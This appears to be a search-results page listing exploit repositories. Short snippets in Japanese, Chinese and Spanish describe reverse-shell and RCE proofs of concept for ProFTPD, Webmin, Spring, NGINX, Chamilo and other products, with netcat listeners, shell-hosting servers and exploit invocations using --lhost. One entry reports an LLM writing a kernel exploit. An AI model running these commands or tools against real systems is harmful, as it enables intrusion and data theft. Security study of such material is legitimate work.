38120 matches found
xll_windows_reverse_shell
xllwindowsreverseshell xll Windowsリバースシェル 攻撃者（Kali）マシンで： git clone https://github.com/n3rdh4x0r/xllwindowsreverseshell.git 1. revsh.ps1 を更新します 2. Python HTTPサーバーを作成します python3 -m http.server 9999 攻撃者（Windows）マシンで： 1. notpadXLL.c をWindows攻撃者マシンに移動し、notpadXLL.c を適宜更新します。 2. x64 Native Tools Command...
CVE-2015-1578
CVE-2015-1578 Achat 0.150 beta7 - 远程缓冲区溢出，为 PNPT 课程重写为 python3 版本。 原作者：KAhara MAnhara 重写者：Giuseppe Aloisi（python3 版本） Achat 0.150 beta7 - 缓冲区溢出 已在 Windows 7 32 位系统上测试 https://www.exploit-db.com/exploits/36025 给脚本几秒钟时间，它会给你一个反向 shell... 在代码中运行 msfvenom 命令 msfvenom -a x86 --platform Windows...
CVE-2021-21425-RCE
这是我自己的版本，我在网上找到了很多，但那些都很糟糕。 用法 python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 等待.. 60秒后你将在监听器上获得shell。...
Modified-CVE-2015-3306-Exploit
Modified-CVE-2015-3306-Exploit 使い方 1. PHPリバースシェルを作成する 2. 同じディレクトリでシェルをホストするサーバーを起動する python3 -m http.server 3. 任意のローカルポートでnetcatリスナーを起動する例: nc -nlvp 任意のポート 4. 以下に示すエクスプロイトの例を実行する python3 modifiedCVE20153306.py --host リモートホスト --port 通常はポート21 --path /var/www または /var/www/html --shell PHPシェルの名前...
CVE-2015-3306
CVE-2015-3306 ProFTPD 漏洞利用 该仓库包含针对 CVE-2015-3306 的 Python 概念验证（PoC）漏洞利用代码。 ⚠️ 警告： 仅可对您拥有或已获得明确测试许可的系统使用。未经授权的利用属于违法行为。 作者 Mohamed EL-KHAROUATI 第 1 部分：CVE-2015-3306 ProFTPD 漏洞利用 描述 CVE-2015-3306 是 ProFTPD 1.3.5b 及更早版本中的一个目录遍历漏洞。该漏洞利用工具允许复制任意文件，并将 PHP 后门放入 Web 根目录。该后门可执行任意 shell 命令。 功能 通过 SITE...
CVE-2026-91097-CVE-2026-91106
🔬 Únete a Telegram para las últimas investigaciones de vulnerabilidades y lanzamientos de exploits HPLIP Printer Application — Toma de control administrativa sin autenticación Herramienta de explotación masiva dirigida a la HPLIP Printer Application interfaz web basada en PAPPL en todas las...
CVE-2021-29200
CVE-2021-29200 CVE-2021-29200 EXP はシェルをリバース接続で取得可能 この記事およびツールは技術共有のみを目的としており、不正な目的での使用は固く禁止します。違反した場合の結果はすべて自己責任となります。 コマンド実行EXPのトリガー 1. VPS上で RMI リスナーを 9999 ポートで起動 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '要执行的命令' 2. VPS上で nc リスナーを 8443 ポートで起動 nc -lvp 8443 3...
cve-2023-6931-pipa
CVE-2023-6931 — Xiaomi Pad 6（pipa）提权与关 SELinux 最终在设备上使用的那一版 exploit，单独整理在此目录。 目标 设备 Xiaomi Pad 6 / pipa / SM8250 系统 HyperOS OS2.0.20.0.UMZCNXM 内核 4.19.157-perf-g240e1d0a5f52 起点 adb shell（shell 域） 结果 一次性 uid0 + 全局 SELinux permissive（重启失效） 利用链 见 exploit.c 文件头，摘要如下。 1 perf group readsize overflow - ...
Spring4Shell
Spring RCE CVE-2022-22965 脆弱性環境 環境情報 springboot jdk11 tomcat9.0.30 payload リクエストヘッダー設定 "suffix": "%//", "c1": "Runtime", "c2": "%", "DNT": "1", "Content-Type": "application/x-www-form-urlencoded", リクエストボディデータ...
metasploitable-pentest-report
Metasploitable 2 — 渗透测试报告 免责声明： 本次渗透测试仅在私有的、隔离的 VMware 实验室环境中进行，仅供教育目的。未访问任何真实系统。所有 IP 地址均已匿名化处理。 概述 字段| 详情 ---|--- 测试人员| Prafullya Shandilya 目标| Metasploitable 2（故意存在漏洞的虚拟机） 攻击机| Kali Linux 网络| 隔离的 VMware 仅主机模式实验室 日期| 2026年5月9日 工具| Nmap 7.95, Metasploit v6.4.94, Netcat 发现摘要 | 漏洞| 端口| CVE| 严重程度| ...
CVE-2026-26718
描述 摘要 xxl-job-admin Web 应用程序中存在跨站请求伪造（CSRF）漏洞，攻击者可利用该漏洞对 Glue IDE Shell 脚本进行未经授权的修改。受影响的端点缺少正确的 CSRF 令牌验证，并通过宽松的请求映射接受任意 HTTP 方法。 受影响产品 xxl-job history.pushState'', '', '/'; document.forms0.submit;...
CVE-2026-42945-Reverse-Shell-POC
CVE-2026-42945 NGINX Rift リバースシェル付き RCE PoC CVE-2026-42945 のリモートコード実行 RCE 概念実証 PoC です。これは NGINX の ngxhttprewritemodule におけるヒープバッファオーバーフローです。このフォークは、公開されているトリガー PoC を拡張し、組み込みのリバースシェルリスナーと、CTF や隔離されたラボ環境向けの設定可能な悪用パラメータを追加しています。 脆弱性概要 CVE ID: CVE-2026-42945 別名: NGINX Rift 影響を受けるコンポーネント:...
CVE-2024-14027_slop
CVE-2024-14027 - SlopSploit エクスプロイトは、Qemu Debian インストール上の 6.6.51 でテストされました。 exploit.c - シャドウファイルを漏洩します。 exploitdc.c - ダブルクローズ手法を用いてルートシェルを取得するデモです。 WRITEUP.md - LLM が生成した解説です。 これは、LLM（Opus 4.6）を用いて、解放された同一タイプのオブジェクトを再割り当て・再利用できることに起因する、ユニークな種類のカーネル脆弱性を悪用する実験でした（grsecurity による詳細）。 この結果は、LLM...
CVE-2022-24715
Icinga Web 2 - 認証済みリモートコード実行 2.8.6、2.9.6、2.10 リモートコマンド実行 リバースシェル 使用方法 usage: exploit.py -h -u URL -U USER -P PASSWORD -i IP -p PORT Welcome. options: -h, --help show this help message and exit -u URL, --url URL Insert URL http://ipvictima -U USER, --user USER Insert user -U user -P PASSWORD,...
CVE-2012-2982-Exploit-Script
CVE-2012-2982-エクスプロイトスクリプト CVE-2012-2982 認証済み RCE 脆弱性（/file/show.cgi/bin エンドポイント）に対する簡潔でシンプルなエクスプロイトスクリプトです。 Webmin RCE エクスプロイト — CVE-2012-2982 このリポジトリは、Webmin 🧠 注意事項 ペイロードはデフォルトで bash -i リバースシェルを使用します。 注入されたペイロードの末尾の | は正常な実行に不可欠です。 Webmin 1.580 でテスト済み。それ以前のバージョンでも動作する可能性があります。 🔒 免責事項...
CVE-2024-36401-WoodpeckerPlugin
CVE-2024-36401-WoodpeckerPlugin はじめに CVE-2024-36401 のバッチ検出と利用、カスタムメモリーシェル注入をサポート 1. バッチ検出可能 2. URLアドレスのバックエンドは既にフィルタリング済み（URLをそのまま送るだけで良い） 3. カスタム生成したメモリーシェルを注入可能（デフォルトのメモリーシェル注入にはインジェクタークラス名が追加されています: java.lang.test 「目的はJDK11でのdefineAnonymousClassバイパス」） インストール ソースコードをダウンロードして実行 mvn package targe...
CVE-2023-4220
Web Shell を使用した Chamilo LMS CVE-2023-4220 の RCE このプロジェクトは、Chamilo LMS に見つかったリモートコード実行の脆弱性 CVE-2023-4220 の悪用を自動化します。Web シェルを使用することで、このツールは脆弱性の自動悪用を容易にし、影響を受ける Chamilo LMS インスタンスを制御できるようにします。 特徴: CVE-2023-4220 の自動悪用 Web シェルの統合 脆弱性の影響の実証 使用方法/例 ./exploit.py -t http://example.com スクリーンショット 免責事項:...
CVE-2020-0910
CVE-2020-0910 動作するエクスプロイトPoC CVE-2020-0910 - Reverse Bind Shell Python2.7でテスト済み インストール方法: pip install -r requirements.txt 実行方法: python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...
CVE-2024-28397-RCE
CVE-2024-28397 RCE スクリプト デフォルトのリバースシェルペイロードとオプションのコマンド引数が許可されています エクスプロイトは js2py = v0.74 で動作します 必要条件 Python 3.x requests ライブラリ pip install requests Netcat リスナー リバースシェル用 使用例 リバースシェル: python exploit.py 10.129.227.108 /runcode --localip 10.10.14.71 --localport 4444 カスタムコマンド: python exploit.py...
